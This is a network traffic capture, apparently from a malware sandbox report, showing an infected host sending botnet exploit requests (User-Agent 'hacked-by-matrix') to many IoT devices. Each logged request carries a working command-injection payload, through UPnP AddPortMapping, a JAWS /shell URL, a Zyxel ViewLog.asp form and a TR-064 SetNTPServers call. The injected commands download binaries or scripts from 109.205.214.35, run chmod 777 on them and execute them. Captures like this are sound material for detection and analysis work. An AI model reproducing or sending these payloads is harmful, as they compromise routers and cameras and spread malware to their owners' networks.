45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:18:34.292974949 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:18:40.947894096 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:18:54.259840012 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
894	192.168.2.13	55836	67.215.180.54	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:28.311121941 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:28.432742119 CET	433	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:18:28 GMT Server: Apache/2.4.57 (Unix) OpenSSL/1.1.1k Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
895	192.168.2.13	51162	82.66.217.128	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:28.343971968 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:28.505300045 CET	321	IN	HTTP/1.1 405 Not Allowed Date: Thu, 21 Mar 2024 04:18:28 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive Keep-Alive: timeout=20 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:18:28.505314112 CET	292	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:18:28 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
896	192.168.2.13	58420	213.165.231.127	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:28.346259117 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
897	192.168.2.13	47576	178.114.160.235	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:28.377264023 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
898	192.168.2.13	37376	178.135.108.165	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:28.395622015 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
899	192.168.2.13	48752	100.22.19.11	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:28.395709991 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:28.576674938 CET	174	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
900	192.168.2.13	48428	91.145.55.32	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:28.633968115 CET	140	IN	HTTP/1.1 403 Forbidden Content-Type: text/html;charset=UTF-8 Content-Length: 0 Connection: close Cache-control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
901	192.168.2.13	44838	175.225.107.19	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:28.647049904 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
